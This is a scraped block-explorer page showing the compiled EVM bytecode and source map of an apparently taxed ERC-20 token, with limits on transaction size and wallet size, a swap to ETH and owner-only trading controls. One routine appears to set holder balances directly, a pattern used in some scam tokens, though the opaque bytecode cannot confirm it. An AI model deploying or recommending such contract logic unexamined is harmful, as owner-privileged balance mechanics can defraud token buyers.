160a01b038616600090815260016020526040902054610cc49082906116b0565b6001600160a01b038716600090815260016020526040808220929092553081522054610cf19082906116c3565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d429085815260200190565b60405180910390a35b610d5581856116b0565b6001600160a01b038716600090815260016020526040902054610d7891906116b0565b6001600160a01b038716600090815260016020526040902055610d9b81856116b0565b6001600160a01b038616600090815260016020526040902054610dbe91906116c3565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064610e0a88876115d5565b610e14919061168e565b610e1e90886116b0565b60405190815260200160405180910390a3505050505050565b60008184841115610e5b5760405162461bcd60e51b815260040161045e91906113a3565b506000610e6884866116b0565b95945050505050565b6001600160a01b03821660009081526003602052604081205460ff1680610eb057506001600160a01b03821660009081526003602052604090205460ff165b9392505050565b600f546001600160a01b038481169116148015610ee25750600e546001600160a01b03838116911614155b8015610ef55750610ef38383610e71565b155b15610fd65760048054906000610f0a836116d6565b9190505550600b54811115610f615760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d785461784f4f4d4d2e000000000000000000604482015260640161045e565b600a546001600160a01b038316600090815260016020526040902054610f889083906116c3565b1115610fd65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b600f546001600160a01b038381169116148015610ffa5750610ff88383610e71565b155b1561105c57600b5481111561105c5760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865206d6178696d756d20616d6f756e7420746f2073656044820152611b1b60f21b606482015260840161045e565b505050565b60008183116110705782610eb0565b50919050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110be576110be6116ef565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611117573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113b9190611621565b8160018151811061114e5761114e6116ef565b6001600160a01b039283166020918202929092010152600e54611174913091168461092a565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ad908590600090869030904290600401611705565b600060405180830381600087803b1580156111c757600080fd5b505af11580156111db573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561122a573d6000803e3d6000fd5b5050565b600061123a8383610e71565b15801561124c575061124c8383611372565b80156112665750600e546001600160a01b03838116911614155b1561128a57600554600454101561127f57600754611283565b6008545b90506103a4565b6001600160a01b038316301480156112a25750600454155b156112bb57600554600454101561127f57600754611283565b50600092915050565b600f546000906001600160a01b038581169116146112f157826009546112ea91906116b0565b905061136a565b6001600160a01b03851630148061131557506000546001600160a01b038681169116145b8061133957506001600160a01b03851660009081526003602052604090205460ff16155b1561134c57826009546112ea91906116b0565b506001600160a01b0384166000908152600160205260409020819055815b949350505050565b600f546000906001600160a01b0384811691161480610eb0575050600f546001600160a01b03908116911614919050565b600060208083528351808285015260005b818110156113d0578581018301518582016040015282016113b4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461140657600080fd5b50565b6000806040838503121561141c57600080fd5b8235611427816113f1565b946020939093013593505050565b60008060006060848603121561144a57600080fd5b8335611455816113f1565b92506020840135611465816113f1565b929592945050506040919091013590565b60006020828403121561148857600080fd5b8135610eb0816113f1565b600080604083850312156114a657600080fd5b82356114b1816113f1565b915060208301356114c1816113f1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561151d578160001904821115611503576115036114cc565b8085161561151057918102915b93841c93908002906114e7565b509250929050565b600082611534575060016103a4565b81611541575060006103a4565b816001811461155757600281146115615761157d565b60019150506103a4565b60ff841115611572576115726114cc565b50506001821b6103a4565b5060208310610133831016604e8410600b84101617156115a0575081810a6103a4565b6115aa83836114e2565b80600019048211156115be576115be6114cc565b029392505050565b6000610eb060ff841683611525565b80820281158282048414176103a4576103a46114cc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561163357600080fd5b8151610eb0816113f1565b60008060006060848603121561165357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561167e57600080fd5b81518015158114610eb057600080fd5b6000826116ab57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103a4576103a46114cc565b808201808211156103a4576103a46114cc565b6000600182016116e8576116e86114cc565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117555784516001600160a01b031683529383019391830191600101611730565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d31824beded99acb4ff8b1a519e39528cc21fa2f1fc5f2a93bb2d77117b1d26364736f6c63430008130033
Deployed Bytecode Sourcemap
3932:8425:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5492:83;;;;;;;;;;-1:-1:-1;5562:5:0;;;;;;;;;;;;-1:-1:-1;;;5562:5:0;;;;5492:83;;;;;;;:::i;:::-;;;;;;;;6398:193;;;;;;;;;;-1:-1:-1;6398:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6398:193:0;1023:187:1;5769:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5769:95:0;1215:177:1;6599:446:0;;;;;;;;;;-1:-1:-1;6599:446:0;;;;;:::i;:::-;;:::i;4713:50::-;;;;;;;;;;;;;;;;5678:83;;;;;;;;;;-1:-1:-1;5678:83:0;;4469:2;2000:36:1;;1988:2;1973:18;5678:83:0;1858:184:1;4812:47:0;;;;;;;;;;;;;;;;5872:119;;;;;;;;;;-1:-1:-1;5872:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5965:18:0;5938:7;5965:18;;;:9;:18;;;;;;;5872:119;2884:148;;;;;;;;;;;;;:::i;:::-;;11102:163;;;;;;;;;;;;;:::i;2670:79::-;;;;;;;;;;-1:-1:-1;2708:7:0;2735:6;2670:79;;-1:-1:-1;;;;;2735:6:0;;;2445:51:1;;2433:2;2418:18;2670:79:0;2299:203:1;4770:35:0;;;;;;;;;;;;;;;;4655:51;;;;;;;;;;;;;;;;5583:87;;;;;;;;;;-1:-1:-1;5655:7:0;;;;;;;;;;;;-1:-1:-1;;;5655:7:0;;;;5583:87;;11379:426;;;;;;;;;;-1:-1:-1;11379:426:0;;;;;:::i;:::-;;:::i;5999:199::-;;;;;;;;;;-1:-1:-1;5999:199:0;;;;;:::i;:::-;;:::i;11813:504::-;;;;;;;;;;;;;:::i;6206:184::-;;;;;;;;;;-1:-1:-1;6206:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6355:18:0;;;6323:7;6355:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6206:184;6398:193;6500:4;6522:39;290:10;6545:7;6554:6;6522:8;:39::i;:::-;-1:-1:-1;6579:4:0;6398:193;;;;;:::o;5769:95::-;5822:7;4527:13;4469:2;4527;:13;:::i;:::-;4513:27;;:11;:27;:::i;:::-;5842:14;;5769:95;:::o;6599:446::-;6731:4;6748:36;6758:6;6766:9;6777:6;6748:9;:36::i;:::-;6795:220;6818:6;290:10;6866:138;6922:6;6866:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6866:19:0;;;;;;:11;:19;;;;;;;;290:10;6866:33;;;;;;;;;;:37;:138::i;:::-;6795:8;:220::i;:::-;-1:-1:-1;7033:4:0;6599:446;;;;;:::o;2884:148::-;2797:6;;-1:-1:-1;;;;;2797:6:0;290:10;2797:22;2789:67;;;;-1:-1:-1;;;2789:67:0;;;;;;;:::i;:::-;;;;;;;;;2991:1:::1;2975:6:::0;;2954:40:::1;::::0;-1:-1:-1;;;;;2975:6:0;;::::1;::::0;2954:40:::1;::::0;2991:1;;2954:40:::1;3022:1;3005:19:::0;;-1:-1:-1;;;;;;3005:19:0::1;::::0;;2884:148::o;11102:163::-;2797:6;;-1:-1:-1;;;;;2797:6:0;290:10;2797:22;2789:67;;;;-1:-1:-1;;;2789:67:0;;;;;;;:::i;:::-;4527:13:::1;4469:2;4527;:13;:::i;:::-;4513:27;::::0;:11:::1;:27;:::i;:::-;11156:13;:23:::0;4527:13:::1;4469:2;4527;:13;:::i;:::-;4513:27;::::0;:11:::1;:27;:::i;:::-;11190:14;:24:::0;;;11230:27:::1;::::0;4527:13:::1;::::0;4469:2:::1;::::0;4527:13:::1;:::i;:::-;4513:27;::::0;:11:::1;:27;:::i;:::-;11230;::::0;1361:25:1;;;1349:2;1334:18;11230:27:0::1;;;;;;;11102:163::o:0;11379:426::-;2797:6;;-1:-1:-1;;;;;2797:6:0;290:10;2797:22;2789:67;;;;-1:-1:-1;;;2789:67:0;;;;;;;:::i;:::-;11445:13:::1;:31:::0;;-1:-1:-1;;;;;;11445:31:0;;::::1;-1:-1:-1::0;;;;;11445:31:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;11487:30:0;;;:15:::1;:30;::::0;;;;;;;;:37;;-1:-1:-1;;11487:37:0::1;-1:-1:-1::0;11487:37:0::1;::::0;;11535:15:::1;:104:::0;;11586:42:::1;11535:104:::0;::::1;::::0;::::1;::::0;;11684:25;;-1:-1:-1;;;11684:25:0;;;;11586:42;;11684:23:::1;::::0;:25:::1;::::0;;::::1;::::0;11487:30;11684:25;;;;;11586:42;11684:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11666:55:0::1;;11744:4;11764:15;;;;;;;;;-1:-1:-1::0;;;;;11764:15:0::1;-1:-1:-1::0;;;;;11764:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11666:131;::::0;-1:-1:-1;;;;;;11666:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;11666:131:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;11666:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11650:13;:147:::0;;-1:-1:-1;;;;;;11650:147:0::1;-1:-1:-1::0;;;;;11650:147:0;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;11379:426:0:o;5999:199::-;6104:4;6126:42;290:10;6150:9;6161:6;6126:9;:42::i;11813:504::-;2797:6;;-1:-1:-1;;;;;2797:6:0;290:10;2797:22;2789:67;;;;-1:-1:-1;;;2789:67:0;;;;;;;:::i;:::-;11898:15:::1;::::0;11866:58:::1;::::0;11883:4:::1;::::0;-1:-1:-1;;;;;11898:15:0::1;4527:13;4469:2;4527;:13;:::i;:::-;4513:27;::::0;:11:::1;:27;:::i;11866:58::-;11935:15;::::0;-1:-1:-1;;;;;11935:15:0::1;:31;11974:21;12019:4;12039:24;12019:4:::0;-1:-1:-1;;;;;5965:18:0;5938:7;5965:18;;;:9;:18;;;;;;;5872:119;12039:24:::1;12078:1;12094::::0;12110:7:::1;2708::::0;2735:6;-1:-1:-1;;;;;2735:6:0;;2670:79;12110:7:::1;11935:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11935:223:0;;;-1:-1:-1;;;;;5873:15:1;;;11935:223:0::1;::::0;::::1;5855:34:1::0;5905:18;;;5898:34;;;;5948:18;;;5941:34;;;;5991:18;;;5984:34;6055:15;;;6034:19;;;6027:44;12132:15:0::1;6087:19:1::0;;;6080:35;5789:19;;11935:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12176:13:0::1;::::0;12221:15:::1;::::0;12169:111:::1;::::0;-1:-1:-1;;;12169:111:0;;-1:-1:-1;;;;;12221:15:0;;::::1;12169:111;::::0;::::1;6611:51:1::0;-1:-1:-1;;6678:18:1;;;6671:34;12176:13:0;::::1;::::0;-1:-1:-1;12169:29:0::1;::::0;6584:18:1;;12169:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12291:11:0::1;:18:::0;;-1:-1:-1;;;;12291:18:0::1;-1:-1:-1::0;;;12291:18:0::1;::::0;;11813:504::o;7053:369::-;-1:-1:-1;;;;;7180:19:0;;7172:68;;;;-1:-1:-1;;;7172:68:0;;7200:2:1;7172:68:0;;;7182:21:1;7239:2;7219:18;;;7212:30;7278:34;7258:18;;;7251:62;-1:-1:-1;;;7329:18:1;;;7322:34;7373:19;;7172:68:0;6998:400:1;7172:68:0;-1:-1:-1;;;;;7259:21:0;;7251:68;;;;-1:-1:-1;;;7251:68:0;;7605:2:1;7251:68:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;7251:68:0;7403:398:1;7251:68:0;-1:-1:-1;;;;;7330:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7382:32;;1361:25:1;;;7382:32:0;;1334:18:1;7382:32:0;;;;;;;7053:369;;;:::o;8315:1403::-;-1:-1:-1;;;;;8440:19:0;;8432:69;;;;-1:-1:-1;;;8432:69:0;;8008:2:1;8432:69:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:35;8182:19;;8432:69:0;7806:401:1;8432:69:0;-1:-1:-1;;;;;8520:18:0;;8512:66;;;;-1:-1:-1;;;8512:66:0;;8414:2:1;8512:66:0;;;8396:21:1;8453:2;8433:18;;;8426:30;8492:34;8472:18;;;8465:62;-1:-1:-1;;;8543:18:1;;;8536:33;8586:19;;8512:66:0;8212:399:1;8512:66:0;8606:1;8597:6;:10;8589:64;;;;-1:-1:-1;;;8589:64:0;;8818:2:1;8589:64:0;;;8800:21:1;8857:2;8837:18;;;8830:30;8896:34;8876:18;;;8869:62;-1:-1:-1;;;8947:18:1;;;8940:39;8996:19;;8589:64:0;8616:405:1;8589:64:0;8671:23;8682:5;8689:4;8671:10;:23::i;:::-;8666:92;;8717:11;;-1:-1:-1;;;8717:11:0;;;;8709:49;;;;-1:-1:-1;;;8709:49:0;;9228:2:1;8709:49:0;;;9210:21:1;9267:2;9247:18;;;9240:30;9306:27;9286:18;;;9279:55;9351:18;;8709:49:0;9026:349:1;8709:49:0;8771:30;8781:5;8788:4;8794:6;8771:9;:30::i;:::-;8864:4;8822:21;8846:24;;;:9;:24;;;;;;8885:6;;-1:-1:-1;;;8885:6:0;;;;8884:7;:22;;;;-1:-1:-1;8895:11:0;;-1:-1:-1;;;8895:11:0;;;;8884:22;:47;;;;-1:-1:-1;8918:13:0;;-1:-1:-1;;;;;8910:21:0;;;8918:13;;8910:21;8884:47;8881:227;;;8951:17;;8948:95;;8987:56;8996:46;9000:13;9015:26;9019:13;;9034:6;9015:3;:26::i;:::-;8996:3;:46::i;:::-;8987:8;:56::i;:::-;9058:38;9074:21;9058:15;:38::i;:::-;9120:18;9141:19;9148:5;9155:4;9141:6;:19::i;:::-;9120:40;;9171:44;9183:5;9190:4;9196:10;9208:6;9171:11;:44::i;:::-;-1:-1:-1;9226:14:0;9265:3;9243:19;9252:10;9243:6;:19;:::i;:::-;:25;;;;:::i;:::-;9226:42;-1:-1:-1;9286:14:0;;9283:223;;-1:-1:-1;;;;;9336:16:0;;;;;;:9;:16;;;;;;:25;;9355:6;;9336:25;:::i;:::-;-1:-1:-1;;;;;9317:16:0;;;;;;:9;:16;;;;;;:44;;;;9421:4;9403:24;;;;:33;;9430:6;;9403:33;:::i;:::-;9394:4;9376:24;;;;:9;:24;;;;;;;:60;;;;9456:38;;-1:-1:-1;;;;;9456:38:0;;;;;;;9487:6;1361:25:1;;1349:2;1334:18;;1215:177;9456:38:0;;;;;;;;9283:223;9557:15;9566:6;9557;:15;:::i;:::-;-1:-1:-1;;;;;9537:16:0;;;;;;:9;:16;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;9518:16:0;;;;;;:9;:16;;;;;:55;9621:15;9630:6;9621;:15;:::i;:::-;-1:-1:-1;;;;;9602:15:0;;;;;;:9;:15;;;;;;:35;;;;:::i;:::-;-1:-1:-1;;;;;9584:15:0;;;;;;;:9;:15;;;;;:53;;;;9653:57;;;9706:3;9684:19;9697:6;9684:10;:19;:::i;:::-;:25;;;;:::i;:::-;9675:34;;:6;:34;:::i;:::-;9653:57;;1361:25:1;;;1349:2;1334:18;9653:57:0;;;;;;;8421:1297;;;8315:1403;;;:::o;1472:224::-;1592:7;1628:12;1620:6;;;;1612:29;;;;-1:-1:-1;;;1612:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1652:9:0;1664:5;1668:1;1664;:5;:::i;:::-;1652:17;1472:224;-1:-1:-1;;;;;1472:224:0:o;7430:144::-;-1:-1:-1;;;;;7522:21:0;;7498:4;7522:21;;;:15;:21;;;;;;;;;:44;;-1:-1:-1;;;;;;7547:19:0;;;;;;:15;:19;;;;;;;;7522:44;7515:51;7430:144;-1:-1:-1;;;7430:144:0:o;7730:577::-;7860:13;;-1:-1:-1;;;;;7851:22:0;;;7860:13;;7851:22;:58;;;;-1:-1:-1;7893:15:0;;-1:-1:-1;;;;;7877:32:0;;;7893:15;;7877:32;;7851:58;:86;;;;;7914:23;7925:5;7932:4;7914:10;:23::i;:::-;7913:24;7851:86;7847:302;;;7954:11;:13;;;:11;:13;;;:::i;:::-;;;;;;8000;;7990:6;:23;;7982:59;;;;-1:-1:-1;;;7982:59:0;;10207:2:1;7982:59:0;;;10189:21:1;10246:2;10226:18;;;10219:30;10285:25;10265:18;;;10258:53;10328:18;;7982:59:0;10005:347:1;7982:59:0;8092:14;;-1:-1:-1;;;;;8064:15:0;;;;;;:9;:15;;;;;;:24;;8082:6;;8064:24;:::i;:::-;:42;;8056:81;;;;-1:-1:-1;;;8056:81:0;;10559:2:1;8056:81:0;;;10541:21:1;10598:2;10578:18;;;10571:30;10637:28;10617:18;;;10610:56;10683:18;;8056:81:0;10357:350:1;8056:81:0;8173:13;;-1:-1:-1;;;;;8165:21:0;;;8173:13;;8165:21;:49;;;;;8191:23;8202:5;8209:4;8191:10;:23::i;:::-;8190:24;8165:49;8161:138;;;8247:13;;8237:6;:23;;8229:70;;;;-1:-1:-1;;;8229:70:0;;10914:2:1;8229:70:0;;;10896:21:1;10953:2;10933:18;;;10926:30;10992:34;10972:18;;;10965:62;-1:-1:-1;;;11043:18:1;;;11036:32;11085:19;;8229:70:0;10712:398:1;8229:70:0;7730:577;;;:::o;10504:107::-;10561:7;10593:1;10589;:5;10588:15;;10602:1;10588:15;;;-1:-1:-1;10598:1:0;10504:107;-1:-1:-1;10504:107:0:o;10619:475::-;5105:6;:13;;-1:-1:-1;;;;5105:13:0;-1:-1:-1;;;5105:13:0;;;10713:16:::1;::::0;;10727:1:::1;10713:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10713:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10713:16:0::1;10689:40;;10758:4;10740;10745:1;10740:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10740:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10784:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10784:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10740:7;;10784:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10774:4;10779:1;10774:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10774:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10849:15:::1;::::0;10817:62:::1;::::0;10834:4:::1;::::0;10849:15:::1;10867:11:::0;10817:8:::1;:62::i;:::-;10890:15;::::0;:196:::1;::::0;-1:-1:-1;;;10890:196:0;;-1:-1:-1;;;;;10890:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10971:11;;10890:15:::1;::::0;11013:4;;11040::::1;::::0;11060:15:::1;::::0;10890:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5141:6:0;:14;;-1:-1:-1;;;;5141:14:0;;;-1:-1:-1;;;;10619:475:0:o;11273:98::-;11333:13;;:30;;-1:-1:-1;;;;;11333:13:0;;;;:30;;;;;11356:6;;11333:13;:30;:13;:30;11356:6;11333:13;:30;;;;;;;;;;;;;;;;;;;;;11273:98;:::o;9726:402::-;9793:7;9818:23;9829:5;9836:4;9818:10;:23::i;:::-;9817:24;:47;;;;;9845:19;9852:5;9859:4;9845:6;:19::i;:::-;9816:85;;;;-1:-1:-1;9885:15:0;;-1:-1:-1;;;;;9869:32:0;;;9885:15;;9869:32;;9816:85;9813:160;;;9938:9;;9923:11;;:24;;:50;;9962:11;;9923:50;;;9950:9;;9923:50;9916:57;;;;9813:160;-1:-1:-1;;;;;9987:22:0;;10004:4;9987:22;:42;;;;-1:-1:-1;10013:11:0;;:16;9987:42;9984:117;;;10066:9;;10051:11;;:24;;:50;;10090:11;;10051:50;;9984:117;-1:-1:-1;10119:1:0;9726:402;;;;:::o;10136:360::-;10267:13;;10236:7;;-1:-1:-1;;;;;10259:21:0;;;10267:13;;10259:21;10256:55;;10301:10;10289:9;;:22;;;;:::i;:::-;10282:29;;;;10256:55;-1:-1:-1;;;;;10326:22:0;;10343:4;10326:22;;:42;;-1:-1:-1;2708:7:0;2735:6;-1:-1:-1;;;;;10352:16:0;;;2735:6;;10352:16;10326:42;10325:71;;;-1:-1:-1;;;;;;10374:22:0;;;;;;:15;:22;;;;;;;;10373:23;10325:71;10322:105;;;10417:10;10405:9;;:22;;;;:::i;10322:105::-;-1:-1:-1;;;;;;10438:16:0;;;;;;:9;:16;;;;;:22;;;10478:10;10136:360;;;;;;;:::o;7582:140::-;7678:13;;7646:4;;-1:-1:-1;;;;;7670:21:0;;;7678:13;;7670:21;;:44;;-1:-1:-1;;7701:13:0;;-1:-1:-1;;;;;7701:13:0;;;7695:19;;;;7582:140;-1:-1:-1;7582:140:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:251::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;5120:9;5114:16;5139:31;5164:5;5139:31;:::i;6126:306::-;6214:6;6222;6230;6283:2;6271:9;6262:7;6258:23;6254:32;6251:52;;;6299:1;6296;6289:12;6251:52;6328:9;6322:16;6312:26;;6378:2;6367:9;6363:18;6357:25;6347:35;;6422:2;6411:9;6407:18;6401:25;6391:35;;6126:306;;;;;:::o;6716:277::-;6783:6;6836:2;6824:9;6815:7;6811:23;6807:32;6804:52;;;6852:1;6849;6842:12;6804:52;6884:9;6878:16;6937:5;6930:13;6923:21;6916:5;6913:32;6903:60;;6959:1;6956;6949:12;9380:217;9420:1;9446;9436:132;;9490:10;9485:3;9481:20;9478:1;9471:31;9525:4;9522:1;9515:15;9553:4;9550:1;9543:15;9436:132;-1:-1:-1;9582:9:1;;9380:217::o;9602:128::-;9669:9;;;9690:11;;;9687:37;;;9704:18;;:::i;9735:125::-;9800:9;;;9821:10;;;9818:36;;;9834:18;;:::i;9865:135::-;9904:3;9925:17;;;9922:43;;9945:18;;:::i;:::-;-1:-1:-1;9992:1:1;9981:13;;9865:135::o;11247:127::-;11308:10;11303:3;11299:20;11296:1;11289:31;11339:4;11336:1;11329:15;11363:4;11360:1;11353:15;11379:980;11641:4;11689:3;11678:9;11674:19;11720:6;11709:9;11702:25;11746:2;11784:6;11779:2;11768:9;11764:18;11757:34;11827:3;11822:2;11811:9;11807:18;11800:31;11851:6;11886;11880:13;11917:6;11909;11902:22;11955:3;11944:9;11940:19;11933:26;;11994:2;11986:6;11982:15;11968:29;;12015:1;12025:195;12039:6;12036:1;12033:13;12025:195;;;12104:13;;-1:-1:-1;;;;;12100:39:1;12088:52;;12195:15;;;;12160:12;;;;12136:1;12054:9;12025:195;;;-1:-1:-1;;;;;;;12276:32:1;;;;12271:2;12256:18;;12249:60;-1:-1:-1;;;12340:3:1;12325:19;12318:35;12237:3;11379:980;-1:-1:-1;;;11379:980:1:o
Swarm Source
ipfs://d31824beded99acb4ff8b1a519e39528cc21fa2f1fc5f2a93bb2d77117b1d263
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.